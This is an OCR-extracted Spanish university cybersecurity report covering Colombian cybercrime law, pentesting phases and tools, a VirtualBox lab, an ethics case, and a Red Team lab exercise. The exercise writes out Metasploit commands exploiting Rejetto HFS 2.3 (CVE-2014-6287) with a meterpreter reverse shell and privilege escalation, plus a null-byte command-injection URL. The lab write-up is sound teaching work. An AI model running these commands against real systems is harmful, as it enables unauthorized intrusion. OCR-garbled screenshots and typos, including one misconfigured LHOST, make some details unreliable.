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RESUMEN

La seguridad informética es un tema crucial en el mundo actual debido a la creciente
cantidad de amenazas cibernéticas que existen en el entorno digital. Por ello, se
requiere contar con profesionales capacitados y herramientas adecuadas para
enfrentar estos desafios y garantizar la proteccién de la informacién y los sistemas
de una organizacion. En este sentido, se presentan cuatro etapas con diferentes
objetivos que abordan aspectos fundamentales de la seguridad informética, como
la legislacidon, las herramientas y técnicas utilizadas para detectar y prevenir
ataques, y las mejores practicas para garantizar la seguridad.

Se aborda la legislacion informética en Colombia y las herramientas y procesos
definidos para ejecutar un pentesting o pruebas de penetracion. El objetivo es
proteger los datos personales y resolver casos practicos proporcionados en la
rubrica del ejercicio. De igual se centra en la evaluacion de los anexos de un acuerdo
para identificar posibles procesos ilegales o no éticos. Los objetivos especificos
incluyen la revision detallada de los términos y clausulas de los anexos, la
comparacién de los términos con las leyes y regulaciones aplicables, y el analisis
del impacto de posibles procesos ilegales o no éticos en los diferentes grupos de
interés. Por lo tanto, se presenta un andlisis Red Team para identificar y explotar
las posibles vulnerabilidades en la red de una organizacion y demostrar la necesidad
de mejorar su seguridad. Los objetivos especificos incluyen la identificacién del
medio o proceso por el cual se esta generando la fuga de informacién, la validacion
de la posible falla de seguridad y la presentacion de una PoC ante los altos
directivos.

Finalmente se realizan las practicas y herramientas utilizadas por los equipos de
seguridad informatica para la deteccién y prevencion de ataques informéaticos. Los
objetivos especificos incluyen la determinacion de las amenazas y vulnerabilidades
mas relevantes en seguridad informatica, la evaluacién de las diferentes
herramientas y técnicas utilizadas para detectar y prevenir ataques cibernéticos, y
la evaluacioén de las practicas 6ptimas para garantizar la seguridad informatica.

En conclusion, se muestra la importancia de la seguridad informatica en el mundo
actual y la necesidad de contar con profesionales capacitados y herramientas
adecuadas para enfrentar las crecientes amenazas cibernéticas. Ademas, se
presentan objetivos especificos para abordar diferentes aspectos de la seguridad
informatica, y se brindan recomendaciones detalladas para garantizar la proteccion
de la informacion y los sistemas de una organizacion.

Palabras Claves: Autenticacion de dos factores, Ciberseguridad, Pentesting,
Phishing, PoC, Ransomware, Red Team y Virus informatico.



GLOSARIO

Autenticacion de dos factores: La autenticacion de dos factores es un método
de seguridad que requiere dos formas diferentes de autenticacion para
verificar la identidad del usuario. Por lo general, esto implica el uso de una
contrasefia y un cédigo de verificacion enviado a un dispositivo movil o
generado por una aplicacion de autenticacion. La autenticacion de dos
factores ayuda a prevenir el acceso no autorizado a los sistemas y datos
protegidos.

Ciberseguridad: Es el conjunto de técnicas y herramientas utilizadas para
proteger los sistemas y datos de una organizacion de posibles amenazas
cibernéticas.

Pentesting: Es una técnica utilizada para evaluar la seguridad de los sistemas
informaticos de una organizacibn mediante pruebas de penetracion y
simulaciones de ataques.

Phishing: El phishing es un tipo de ataque cibernético que se utiliza para
engafar a los usuarios y obtener informacion confidencial, como nombres de
usuario, contrasefias y datos bancarios. Los atacantes suelen enviar correos
electronicos 0 mensajes de texto que parecen legitimos y convencen al
usuario de hacer clic en un enlace malicioso o descargar un archivo adjunto
infectado.

PoC: Es un acronimo de Prueba de Concepto, que se refiere a la
demostracién practica de un concepto o idea para verificar su viabilidad.

Ransomware: El ransomware es un tipo de software malicioso que se utiliza
para secuestrar y cifrar los datos de una computadora o red. El objetivo es
extorsionar a la victima para que pague un rescate a cambio de la clave de
descifrado necesaria para recuperar los datos. El ransomware puede
propagarse a través de correos electronicos de phishing, descargas de
software malicioso y vulnerabilidades en el software de la victima.

Red Team: Es un equipo especializado en pruebas de seguridad informatica
gue se encarga de identificar las vulnerabilidades de una organizacion y
mejorar su seguridad.

Virus informatico: Un virus informéatico es un tipo de software malicioso
disefiado para replicarse y propagarse de un sistema a otro.



INTRODUCCION

La seguridad informética es un tema de gran importancia en la actualidad, ya que el
mundo esta experimentando un cambio y una evolucion constantes en las areas de
tecnologia y digitalizacién. Con la creciente cantidad de amenazas cibernéticas, es
fundamental garantizar la proteccion de los sistemas informaticos y la informacion
de una organizacion. La falta de seguridad informatica puede poner en riesgo la
privacidad y la seguridad de los datos, asi como la integridad y disponibilidad de los
sistemas.

En este contexto, es necesario contar con profesionales capacitados y herramientas
adecuadas para enfrentar las amenazas cibernéticas. Los profesionales de la
seguridad informatica deben estar al dia con las uUltimas tendencias y tecnologias
en seguridad para identificar y mitigar los posibles riesgos. Ademas, es esencial
contar con politicas de seguridad sélidas y practicas Optimas para garantizar la
seguridad y proteccion de los sistemas informaticos.

En este sentido, el objetivo de este trabajo es proporcionar una amplia vision de los
aspectos clave de la seguridad informéatica, desde la legislacion y las herramientas
de ciberseguridad, hasta las practicas y técnicas utilizadas para detectar y prevenir
ataques informéticos. Se presentaran diferentes objetivos especificos para abordar
diferentes aspectos de la seguridad informatica, y se brindaran recomendaciones
detalladas para garantizar la proteccion de la informacién y los sistemas de una
organizacion.



OBJETIVOS

1.1 OBJETIVOS GENERAL

Analizar diferentes aspectos fundamentales de la seguridad informatica, como la
legislacion, las herramientas y técnicas utilizadas para detectar y prevenir ataques,
y las mejores practicas para garantizar la seguridad.

1.2 OBJETIVOS ESPECIFICOS

e Comprender la legislacién y los conceptos tedricos de seguridad informatica
en diferentes paises.

e Evaluar las diferentes herramientas y técnicas utilizadas para detectar y
prevenir ataques cibernéticos.

e Identificar posibles vulnerabilidades en los sistemas informaticos de una
organizacion a través de pruebas de penetracion y simulaciones de ataques.

e Establecer practicas 6ptimas para garantizar la seguridad informatica, como
la aplicacion de politicas de seguridad y la gestion eficiente de incidentes de
seguridad.



DESARROLLO DEL TRABAJO

ETAPA 1 CONCEPTOS EQUIPOS DE SEGURIDAD

1.

En Colombia, existen varias leyes y decretos que abordan el tema de la
ciberdelincuencia y la seguridad de la informacion personal. A continuacion,
se describen las leyes mas importantes y sus caracteristicas principales:

Ley 1273 de 2009: Esta ley establece sanciones penales para aquellos que
cometan delitos informaticos, como la interceptacion ilegal de
comunicaciones, entre otras cosas, el acceso ilegal a los sistemas
informaticos y la manipulacion de la informacion

Decreto 1377 de 2013: Esta ley especifica las responsabilidades de los
titulares de los datos, asi como de las empresas que los procesan en
Colombia. La legislacion crea sanciones para las personas que violen sus
deberes y salvaguarda la seguridad y privacidad de la informacion personal
de las personas.

Ley 1581 de 2012: El fundamento legal colombiano para la salvaguarda de
la informacién personal es el siguiente. La legislacién describe los derechos,
deberes y obligaciones de los propietarios de datos, asi como las reglas que
rigen el manejo, uso y seguridad de la informacién personal.

Decreto 1074 de 2015: Este decreto especifica las responsabilidades y
obligaciones de los organismos publicos para la seguridad de la informacién
privada de sus funcionarios y controla el marco de proteccion de la
informacion personal en el sector publico.

En conclusion, estas normas y reglamentos buscan defender los derechos de las
personas, proteger la confidencialidad y privacidad de sus datos personales y
sancionar a quienes violen las leyes.

2. El pentesting (también conocido como prueba de penetracion) es un proceso

de evaluaciéon de seguridad de sistemas informaticos, aplicaciones y redes.
Este proceso se divide en varias etapas, cada una con un objetivo especifico.

Recopilacion de informacion: En esta etapa se recopila informacién sobre el
objetivo, como su direccion IP, nombres de host, sistemas operativos y
aplicaciones utilizadas. Una herramienta comanmente utilizada en esta etapa
es Nmap, que es un escaner de puertos y servicios.



B. Escaneo de wvulnerabilidades: En esta etapa se escanean las
vulnerabilidades presentes en el objetivo. Se utilizan herramientas como
Nessus 0 OpenVAS para identificar posibles debilidades en el sistema o en
la aplicacion.

C. Explotacion: En esta etapa se intenta aprovechar las vulnerabilidades
identificadas en la etapa anterior. Se utiliza una herramienta como Metasploit
para explotar las vulnerabilidades y adquirir acceso no aprobado al programa
o sistema.

D. Acceso y mantenimiento: Una vez que se ha obtenido acceso no autorizado,
se intenta mantener este acceso y explorar el sistema o la aplicacion. Una
herramienta comanmente utilizada en esta etapa es Cobalt Strike, que
permite al tester mantener y ampliar el acceso a través de técnicas
avanzadas.

E. Presentacion de informe: Finalmente, se presenta un informe detallado de
los resultados del pentesting, incluyendo las vulnerabilidades identificadas y
la forma en que se explotaron. Este informe es importante para que los
duefios del sistema o aplicacién puedan tomar medidas para corregir las
vulnerabilidades y mejorar la seguridad.

En resumen, el pentesting es un proceso sistematico de evaluacion de seguridad
que permite identificar y explotar vulnerabilidades en sistemas informaticos y
aplicaciones. La herramienta utilizada en cada etapa del proceso depende de los
objetivos y requisitos especificos del pentester.

3. Herramientas de ciberseguridad:

a. Metasploit: Metasploit es una herramienta de seguridad informatica que
permite a los expertos en seguridad probar la seguridad de los sistemas y
aplicaciones. Se utiliza para realizar pruebas de penetracion, identificar
vulnerabilidades y escribir exploits para aprovecharlas. Metasploit ofrece una
amplia gama de funciones, desde la exploracion inicial hasta la ejecucion de
exploits y la obtencion de acceso a sistemas comprometidos.

b. Nmap: Nmap es un software de exploracion de red que permite a los expertos
en seguridad escanear redes y sistemas para identificar los dispositivos
conectados y sus servicios. Nmap es una herramienta esencial para la
recopilacion de informacion y la identificacion de posibles vulnerabilidades en
los sistemas y aplicaciones. Con Nmap, los expertos en seguridad pueden
escanear redes y sistemas para detectar puertos abiertos, servicios en
ejecucion y posibles debilidades.
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C.

OpenVAS: OpenVAS es un sistema de seguridad informatica que permite a
los expertos en seguridad realizar escaneos de vulnerabilidades en sistemas
y aplicaciones. OpenVAS utiliza una base de datos de vulnerabilidades y
exploits actualizada para identificar posibles debilidades en los sistemas
escaneados. La herramienta ofrece una amplia gama de funciones, desde la
deteccion automatica de vulnerabilidades hasta la generacion de informes
detallados sobre los resultados de la evaluacion de seguridad.

Servicios en linea:

d.

ExploitDB: ExploitDB: Es una base de datos en linea que recopila y
categoriza exploits y vulnerabilidades conocidas. Los expertos en seguridad
pueden utilizar ExploitDB para investigar y buscar informacion sobre exploits
especificos y vulnerabilidades conocidas.

CVE (Common Vulnerabilities and Exposures): CVE es una base de datos
en linea que recopila informacion sobre vulnerabilidades y exploits
conocidos. CVE es mantenido por la organizacion MITRE y es una de las
fuentes de informacion mas utilizadas en la industria de la seguridad
informatica. Los expertos en seguridad pueden utilizar CVE para investigar y
buscar informacion sobre vulnerabilidades conocidas y para planificar y
ejecutar pruebas de penetracion y evaluaciones de seguridad.

4. Montaje laboratorio.

Paso A.

Se procede con la descarga e instalacion de virtualizador VirtualBox.

llustracion 1 Portal de descarga VBox.

Fuente: Propia.

7

= shouid be fav
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llustracion 2 Instalaciéon de VBox.

L

T ZE ¢ AR Qo
eeeeeeee Importar Exportar  Nueva
9 VirtualBox - Acerca de X - globales y una lista de

Jte. Puede presionar la tecia F1 para obtener ayuda instantinea

>

ualﬂ"’ 4

V/-" VirtualBox

7.0

Interfaz Gréf
Vrsmn7ﬂ6 155176(0«5 152)
Copyright © 2023 Orack affilates.

Fuente: Propia.

e PasoB.

Se procede con la descarga de cada uno de los ambientes por medio de los OVAS.

llustracién 3 Descarga de ambientes OVA.

Compartido conmigo Seminario Especializado - OVAS > OVAS - Laboratorios ~ (<o)

Archivos

ninistrada por nuestros directc

s Kali - Seminario.ova ! pass_ovas.PNG ¥ Win7-SE2020-X64.0ova B  win7-SE2020.0va

di
di

Fuente: Propia.

e PasoC.

A continuacion, se realiza el montaje de cada una de maquinas virtuales.
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llustracion 4 Montaje y configuracion de maquinas virtuales

V¥ Oracle VM VirtualBox Administrader
Archivo Maguina Ayuda

i1 —

.~ ESIS5eg.DB
[2lf | Win7-SE2020-X64 =
"’73 @N)agada =
(e, | Kali - Seminario
fJ (@) Apagada

[Lf | win7-SE2020
@ Apagada

Fuente: Propia.

an @ = -

Mueva Afadir  Configuradon Descartar  Inigiar
=) General
Nombre: Win7-SE2020-X64

Sistema operativo:  Windows 7 (64-bit)
Grupos: ESI Seq. DB

Sistema

Memoria base: 4096 MB
Orden de arrangue:  Optica, Disco duro
Aceleracién: Paginadidn anidada, Paravirtualizacidn Hyper-¥

M) pantalla

Memoria de video: 18 MB
Controlador gréfico: VBoXSVGA
Servidor de escritorio remoto:  Inhabilitado

Grabacion: Inhabilitado

Almacenamiento
Controlador: SATA
Puerto SATA 0:
Puerto SATA 1:

B Audie

Win7-5E2020-X64-disk001. vdi (Normal, 50,00 GE)
[Unidad éptica] Vacio

Se realiza un test para validar la conexién entre las VMs, la cual es exitosa.

llustracion 5 Test conexion.

Fuente: Propia.

e PasoD

Se evidencia el montaje de las 3 maquinas virtuales del banco de trabajo.
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llustracion 6 Evidencia del laboratorio.

| & i Kali - Seminario [Corriendo] - Oracle VM VirtualBox - o x '

Archivo Maguina Entrads  Dispositivos  Ayuda

[estudiante@semin

estudiante@seminario:
Papelera de
r:mdme Archivo Acciones Editar Vista Ayuda

@ C\Windows\system32\ cmd.exe

Microsof t Wind 6.1.76801
Copyright <c> i £t Corporation. Reservados todos los derechos.

c: isuariodipconfig

[Configuracidn IP de Windows

idaptador de Ethernet Conexidn de drea local:
Bufijo DNS especifico para la conexidén. . ronhub . home
i feB lach:5hdaz41%axil
Méscara d a
Puerta de enlace predeterminada
Adaptador de tinel isatap.H
Estade de los medi

>
& o E i Gl @ @ cme oerecka

&5 Administrador: C:\Windows\system32\cmd.exe

JJconf iguracién IP de Windous

daptador de Ethernet Conexién de rea local:

Sufijo DNS especifico para la co én. . : hitronhub.hgme
Uinculo: dire 1Pk local. . 4842:9ce4:4038: 7898211
eccidn 1Puvd. . . . L -
ra de subred . .
Py e enlace prede

fdaptador de tinel

Estado de : medics desconsctados
Sufijo DNS o para la cone: © _ * hitronhub.home

uario>uhoani
uario

riodelear
ce cono un comando interno o externo.

Ve Te vec
prograna o archivo por lotes ejecutable.

C:\Users usuario),

Fuente: Propia.
Caracteristicas de hardware de las maquinas virtuales.
e Kali Linux

Memoria ram: 2 GB
Almacenamiento: 50 GB

e Win7-SE
Memoria ram: 4 GB
Nucleos: 4
Almacenamiento: 50 GB

e Win7-SE (x64)
Memoria ram: 4 GB

Nlcleos: 4
Almacenamiento: 50 GB
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ETAPA 2 ACTUACION ETICA Y LEGAL

Durante el analisis del documento anexo 2 con respecto al escenario 2 se lograron
varios hallazgos que se encontraron con respecto al proceso no ético y puede ser

ilegal:

El contrato de reclutamiento elaborado por un abogado despedido por
encontrar procesos ilicitos: Si un abogado ha sido despedido por encontrar
procesos ilicitos, esto sugiere que hay problemas éticos y posiblemente
legales en la organizacién. Ademas, si la gerencia no revisé los contratos
antes de entregarlos, puede haber violaciones de las leyes laborales o de
otro tipo en los términos del contrato.

llustracién 7 Hallazgos - Anexo 2.

Para dar inicio, la organizacion WhiteHouse Security hace entrega de
un contrato para el reclutamiento de sus equipos Red team y Blue
team; este contrato fue elaborado por un abogado que ya no labora
con la organizacion y fue despedido por encontrar algunos procesos
ilicitos. La alta gerencia no reviso los contratos con los que se reclutara

el

nuevo personal, por ende, los contratos son entregados sin

modificacion alguna; ante este evento la gerencia solicita tener suma
precaucion antes de firmar el contrato y acuerdos de confidencialidad

Arkimiidladas mmea Al Fim Aa cambeabaciam Aa mamcanal sfls Aamablhaeaas 1=

Fuente: Propia.

La clasificacion de una primera mision como prueba de admisién: Esta
practica puede ser considerada como una forma de trabajo no remunerado o
incluso explotacién laboral. Ademas, la presion para trabajar bajo estas
condiciones puede afectar negativamente la salud y seguridad del trabajador
y podria violar las leyes laborales y de derechos humanos.

El plan es usar VirtualBox para instalar dos computadoras virtuales y ejecutar
pruebas en ellas: Aunque la instalacion de maquinas virtuales por si sola no
es ilegal ni no ética, la falta de detalles sobre como se utilizaran estas
magquinas virtuales para ejecutar las pruebas podria indicar que se planea
utilizar tecnologia para llevar a cabo actividades ilegales o no éticas. En
general, la organizacion deberia ser clara sobre el propésito y alcance de las
pruebas y garantizar que se realicen dentro de los limites de la ley y la ética.
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llustracion 8 Hallazgos 2 - Anexo 2.
i ﬁi_IIIIJ'_ULpIUII i_l}..ll AV Ll T WU T T Wl 'JI A L LN L HLJ\_. P ISl TR e lddny Wl

su interior y como prueba de admision al equipo Red team y Blue team
deciden clasificar una primera mision a la cual deberian dar respuesta
en poco tiempo y trabajar bajo presion “caracteristica” de estos
equipos. Tambien debera proyectar la instalacion de dos maquinas
virtuales por medio de virtualbox para poder ejecutar las sesiones de
pruebas en las actividades posteriores.

Fuente: Propia.

e Durante el analisis del documento anexo 3 con respecto al acuerdo se
lograron varios hallazgos que se encontraron con respecto al proceso
no ético y puede ser ilegal:

Es vital rechazar la oferta de empleo realizada por la firma "The WhiteHouse
Security" luego de examinar criticamente el acuerdo desde un punto de vista ético
y legal. La proposicion viola la moral profesional y personal, que van mas alla del
dinero y el poder. Los seres humanos tienen la obligacion de actuar de una manera
gue promueva la excelencia, beneficie tanto al individuo como a la comunidad, y no
interfiera con los derechos de los demas o la conducta de su profesion. Segun el
articulo 35 del cédigo ético, que trata sobre las obligaciones de los profesionales
con la dignidad de su profesion, es nuestro deber como ingenieros mantener la
reputacion positiva de nuestra profesion. Como se establece en el articulo 34,
también esta prohibido ofrecer o aceptar trabajos que estén en conflicto con la ley.
Siempre debemos comportarnos éticamente para defender nuestra profesion y
tomar las decisiones mas beneficiosas, negandonos a tolerar acciones que vayan
en contra de nuestros estadndares morales, como lo demuestra el acuerdo que se
analizo.

e Articulos que posiblemente se pueden ver se comprometidos de
acuerdo con laley 1273.

Anexo 3 - El Acuerdo puede contravenir diversas disposiciones de la Ley
colombiana 1273, especialmente las relativas a la proteccion de la informacion, la
seguridad informatica y la privacidad de los datos.

La segunda clausula hace referencia a la informacién confidencial no publica que
fue conocida por el sindico durante el proceso de contratacion. Esta informacion
puede incluir informacion personal sobre los candidatos y debe ser manejada de
conformidad con la Ley 1581 de 2012 y su reglamento. Ademas, se brindan detalles
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sobre "hackeo de datos, interceptacion de datos y uso ilegal de sistemas
informaticos", todo lo cual podria ser considerado un delito informatico segun la Ley
1273.

La clausula cuarta establece los deberes del receptor, uno de los cuales es
resguardar la informacion sensible y utilizarla Gnicamente en relacion con el proceso
de contratacion. Desafortunadamente, no se indican pasos particulares, como el
cifrado de datos o la adopcion de restricciones de acceso, para garantizar la
proteccion de la informacion.

Articulo 269A de la Ley 1273 de 2009, que trata del acceso no autorizado a los
sistemas informéaticos, Articulo 269C de la Ley 1273 de 2009, que trata de la
escucha de datos informaticos, Articulo 269F de la Ley 1273 de 2009, que trata de
la destruccion de informacién privada relativo a la interceptacion de datos, y el
articulo 269H de la Ley 1273 de 2009, que establece atenuantes, particularmente
en relacion con el acceso no autorizado a redes gubernamentales u oficiales,
computar. Asimismo, como la informacion es el principal activo de una organizacién
y la interceptacion de informacion en si misma constituye una transferencia ilicita,
se han infringido los articulos 269I, que se refiere al robo por medios electronicos, y
269J, que se refiere a la transferencia no consentida de activos.

e Rechazo de oferta laboral

El Cédigo de Etica de los Ingenieros establecidos por COPNIA establece principios
y valores éticos a los que los ingenieros deben adherirse, incluyendo la integridad,
la responsabilidad social y el respeto a la ley.

En este sentido, un ingeniero podria considerar si aceptar una oferta de trabajo de
una empresa que ha violado las leyes relacionadas con la ciberseguridad y la
privacidad de datos personales podria ir en contra de estos principios éticos y podria
comprometer su integridad y responsabilidad social. Es importante que los
ingenieros evallen cuidadosamente cualquier oferta de trabajo y tomen decisiones
éticas basadas en su conocimiento y experiencia profesional, Ademas de su
comprensién de las normas morales que guian su linea de trabajo.

Por lo que como profesional de ciberseguridad rechazaria una oferta de esta

empresa a pesar de tener un buen sueldo y contrato vitalizacion, pero no garantiza
lo anteriormente descrito.
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e Caso “OPERACION ANDROMEDA BUGGLY”

Desde una perspectiva legal, el acceso no autorizado a sistemas informaticos y la
interceptacién de datos estan tipificados como delitos en la ley 1273 de 2009 en
Colombia. Por lo tanto, cualquier empresa o individuo que participe en estas
actividades podria ser penalizada y enfrentar consecuencias legales graves.

En cuanto a las implicaciones éticas, las acciones de Operaciéon Andromeda Buggly
podrian considerarse como una violacién de la privacidad y los derechos de los
ciudadanos y organizaciones afectadas. Ademds, cualquier empresa que se
dedique a la ciberseguridad debe seguir altos estandares éticos y garantizar la
confidencialidad y la privacidad de sus clientes.

En resumen, el caso de Operacion Andromeda Buggly en Bogota plantea serias
implicaciones legales y éticas. Cualquier empresa o individuo que participe en
actividades ilegales como el acceso no autorizado a sistemas informéticos y la
interceptacion de datos podria enfrentar consecuencias graves. Ademas, la
privacidad y los derechos de las personas y organizaciones afectadas deben ser
protegidos y respetados, y se espera que cualquier empresa dedicada a la
ciberseguridad siga altos estandares éticos.

Ademas, es importante resaltar que las implicaciones de Operacion Andromeda
Buggly no solo se limitan a lo legal y ético, sino que también tienen un impacto en
la confianza y seguridad de la ciudadania en la tecnologia y el uso de dispositivos
moviles. La vulnerabilidad de los teléfonos moviles es una preocupacién cada vez
mayor en una sociedad que depende cada vez mas de la tecnologia para realizar
transacciones financieras, comunicarse y almacenar informacion personal.

Es necesario que las autoridades tomen medidas efectivas para proteger la
privacidad y seguridad de los ciudadanos, incluyendo la implementacion de medidas
de seguridad mas rigurosas en los dispositivos moviles y la educacion de la
poblacién en cuanto a la proteccion de su informacién personal. Asimismo, se deben
fortalecer los mecanismos de denuncia y sancion para aquellos que violen la
privacidad y seguridad de los ciudadanos.

En conclusion, Operacién Andromeda Buggly es un caso que muestra la
importancia de la ética y la legalidad en el uso de la tecnologia, y la necesidad de
gue tanto los ciudadanos como las empresas y las autoridades tomen medidas para
proteger la privacidad y seguridad en la era digital.
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ETAPA 3 EJECUCION PRUEBAS DE INTRUSION

1. Fase de pentesting, comandos y resultados.

Las herramientas que se utilizaron para desarrollar la investigacion y analisis para
comprender el actuar de un cibercriminal fueron los siguientes de acuerdo con las
fases del pentesting.

e Enlafasederecopilacion deinformacion: Se uso nmap como herramienta
para poder identificar los puertos, protocolos y servicios que se corrian en la
magquina victima.

Comandos utilizados:
=>» nmap -SS -A -sC -sV -p- --min-rate 5000 10.0.2.15

Resultado

Tabla 1 Identificacién de puertos, protocolos y servicios.

Puerto Protocolo Estado Servicio Version
80 TCP Abierto HttpFileserver 2.3
(HFS)
135 TCP Abierto Microsoft N/A
Windows RPC
139 TCP Abierto Microsoft N/A
Windows
Netbios
445 TCP Abierto Windows 7 N/A
2869
5357 TCP Abierto Microsoft 2.0
HTTPAPI
TCP Abierto Microsoft 2.0
HTTPAPI

Fuente: Propia.
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e En la fase de explotacion y acceso: Se uso la herramienta metasploit, la
cual se uso para consultar, personalizar y ejecutar los exploits malicioso para
adquirir acceso al equipo victima.

Comandos utilizados:

=>» Searchsploit hfs

=>» search HttpFaileServer

= Use exploit/Windows/http/rejetto_hfs_exec

=>» Show options

= Set RHOST 10.0.2.15

= Set LHOST 10.0.2.6

= Set LPORT 4444

=>» set PAYLOAD windows/exec

= set PAYLOAD Windows/meterpreter/reverse_tcp
=> exploit o run

Comando para escalar privilegios

=> sysinfo
= getsystem
=> getuid

Resultado

Luego de ejecutar los comandos y utilizar la herramienta de metasploit con los
comandos anteriores se toma control de la maquina victima haciendo uso de una
vulnerabilidad conocida dentro del servicio del rejetto_hfs_exec, el cual es
vulnerable a un ataque de ejecucién remota de comandos debido a un regex pobre
en el archivo ParserLib.pas. Este modulo explota los comandos de scripting HFS
mediante usando '%00' para omitir el filtrado. Este médulo ha sido probado con éxito
en HFS 2.3b sobre Windows XP SP3, Windows 7 SP1 y Windows 8.
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llustracién 9 Acceso a Maquina Victima.

Fuente: Propia.

llustracién 10 Escalacién de privilegios.

cannot find the file specified.

rna

Fuente: Propia.
2. Descubrimiento de fallo mediante el caso descrito en el escenario 3.
Luego de observar y leer el caso que se presento en el equipo infectado las pistas
qgue dan el primer indicio es la fuga de inflacion presentada, también dentro del

incidente hubo un hallazgo relevante sobre la aplicacion rejetto en la version 2.3,
sistemas operativos con el que cuenta la victima es desactualizado (Windows 7), la
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cual cuenta con multiples vulnerabilidades asociadas y los exploits que hay en la
web son publicos.

De igual forma se describe el mecanismo utilizado por un atacante sobre la Shell
reversa, la sesion por medio del meterpreter y la escalada de privilegios.

llustracion 11 Anexo 4- Escenario 3.

Situacion problema: Analisis Red Team

La primera mision del equipo Red Team es lograr identificar porqué
medio o proceso se esta generando una serie de fuga de informacion
la cual se presenta al interior de la organizacion en uno de sus equipos
de computo en la dependencia. La informacién inicial con la que cuenta
el equipo es que la maquina donde se esta generando la fuga de
informacién tiene instalada una aplicacion llamada rejetto v. 2.3 bajo
un windows 7 con arquitectura X64; esta aplicacion al parecer tiene
asociado un exploit que puede terminar en una Shell reversa y una
sesion abierta de meterpreter. Dentro de la investigacién también se
investiga un escalamiento de privilegios por medio de la creacién de
un usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada
a usted como experto, debe validar la posible falla de seguridad y si
esta es explotada debe crear un usuario con su primer nombre y primer

apellido, el usuario debe ser administrador esto con el fin de demostrar
una PoC ante los altos directivos.

Fuente: Propia.
3. Herramientas utilizadas.

La herramienta utilizada para la identificacion de la vulnerabilidad fue nmap dentro
de la fase de reconocimiento, no hubo necesidad de correr un software
automatizado, ya que desde la fase inicial se logré obtener informacion esencial que
daban pie al descubriendo de una vulnerabilidad.

Se logra identificar el puerto 80 asociado al servicio del aplicativo rejetto por medio
del servicio de HttpFileServer utilizado para compartir archivos via http.

4. Afectacion del ataque.

Al realizar un andlisis detallado sobre el ataque ocurrido a la maquina victima
Windows 7 x 64, se observa que existe un aplicativo llamado rejetto que segun los
detalles de CVE para esta vulnerabilidad (CVE-2014-6287), la funcion de Rejetto
HTTP File Server (también conocido como HFS o HttpFileServer) 2.3x (en versiones
anteriores a 2.3c) permite a los atacantes remotos ejecutar programas arbitrarios a
traves de una secuencia %00 en una accion de
busqueda.findMacroMarkerparserLib.pas?

1 JASWAL, Nipun. Mastering Metasploit - Second Edition. subscription.packtpub.com
[pagina web]. (septiembre, 2016). [Consultado el 12, marzo, 2023]. Disponible en Internet:
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La funcion no manejara un byte nulo de forma segura, por lo que una solicitud para
detendra regex de analizar la macro y se producird una inyecciébn remota de
codigo.http://localhost:80/search=%00{.exec|cmd.}

llustracién 12 Diagrama Ataque.

http:/110.0.2 15/
Puerto: 30

App Rejetto v2.3
Nmap

— w 10.0.2.6

VM Victima / &
el
Matasploit Qg, P

VM Atacante

Fuente: Propia.

5. Informe detallado.

Se observa las conexiones de los diferentes entornos la cual puede comunicarse
desde forma interna en ambas direcciones.

e Maquinavictima: 10.0.2.15
e Maquina Atacante: 10.0.2.6

llustracion 13 Conexién

Fuente: Propia.

Luego de esto se observa que en la maquina victima se tiene instalado un cliente
de un software llamado Rejetto montando un servicio de HTTP File Server.

23



llustraciéon 14 Aplicativo rejetto.

58 S < HTTP il Server 23

Fuente: Propia.

Luego de esto se procede a evaluar con el equipo atacante para analizar la
posibilidad de que se pueda materializar alguna vulnerabilidad en el equipo victima.

e Se inicia con la fase de reconocimiento con la herramienta Nmap dentro
de la maquina instalada con Kali Linux.
=>» nmap -SS -A -sC -sV -p- --min-rate 5000 10.0.2.15

llustracion 15 Descubrimiento con Nmap.

Fuente: Propia.
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Al ejecutar este comando en nmap se logra identificar diferentes tipos de puestos y
servicios asociados a los mismos algunos hallazgos.

Puerto abierto 80: Desde este puerto ser puede observar un servicio expuesto de
HttpFileServer (HFS 2.3)

Puerto abierto 2869 y 5357: exposicion de protocolo HTTP.

Tabla 2 Descubrimiento de puertos, protocolos y servicios

Puerto Protocolo Estado Servicio Version
80 TCP Abierto HttpFileserver 2.3
(HFS)
135 TCP Abierto Microsoft N/A
Windows RPC
139 TCP Abierto Microsoft N/A
Windows
Netbios
445 TCP Abierto Windows 7 N/A
2869
5357 TCP Abierto Microsoft 2.0
HTTPAPI
TCP Abierto Microsoft 2.0
HTTPAPI

Fuente: Propia.

También se puede identificar que el puerto 80 es expuesto por medio de un software
llamado Rejetto.

Luego de la fase de reconocimiento realizamos una busqueda activa sobre los
servicios descubiertos por medio de nmap.

Se utiliza Searchsploit para buscar en la base de datos de DBexploits algun codigo
malicioso que se pueda utilizar o que este asociado lo anteriormente enumerado.

25



llustracidon 16 Busqueda de exploits con Searchsploit.

Fuente: Propia.

Se encuentra un exploit asociado al aplicativo Rejetto HTTP File Server version
2.3 encontrando un RCE (Remote Command Exec) asociado que se podria utilizar
para tomar control del equipo victima.

Luego de haber identificado unas posibles brechas de seguridad se procede con la
fase de explotacion donde se utilizara la herramienta Metasploit para poder usar
Scripts personalizados que pueden vulnerar los hallazgos encontrados.

Se procede con la busqueda desde metasploit del servicio HttpFileServer.

llustracién 17 Herramienta Metasploit.

07:4PM O © & O | &

tc HttpFileServer

Fuente: Propia.
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Comando
=>» search HttpFaileServer

Luego de esto se procede a utilizar el exploit encontrado en la DB de Metasploir
para desplegar el ataque en contra de la maquina victima.

Utilizando los comandos:
=» Use: para seleccionar el nombre del exploit.
= Use exploit/Windows/http/rejetto_hfs_exec

llustracidon 18 exploit de rejetto_hfs_exec

]
]
]
\

11 ' Laas . h b ~ammand
all proauctiv y Tips wlitn the command

1 HttpFileServer

HEEPRELESERVEE Rem(

Fuente: Propia.

Luego de esto se ejecuta el comando:

= Show options: Para visualizar los requerimientos para el despliegue del
exploit.
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llustracién 19 Show options exploit.

I8 Kali - Seminario (segunda 2) [Corriendo] - Oracle VM VirtualBox -
Archivo Dispositivos

& [ ) g [E] estudiante@seminario: ~ [E] estudiante@seminario: ~ [E] estudiante@seminario: ~ 07:33PM O ) A

Méquina Ver Entrada Ayuda

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

thread,

Fuente: Propia.

Se procede con la configuracion del RHOST y LHOST.
= Set RHOST 10.0.2.15: Esto permitiria identificar el host victima.

llustracion 20 Configuraciéon RHOST.

Fuente: Propia.
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= Set LHOST 10.0.2.15: Esto permitiria identificar el host victima.

llustracién 21 Configuracién LHOSTS.

Fuente: Propia.

Luego procedemos con la busqueda de los Payloads que sean compatibles.

= Show payloads

llustracién 22 Busqueda de los Payloads.

m] El ario: ~ E] estu

Archivo  Acciones  Editar Vista Ayuda

Fuente: Propia.

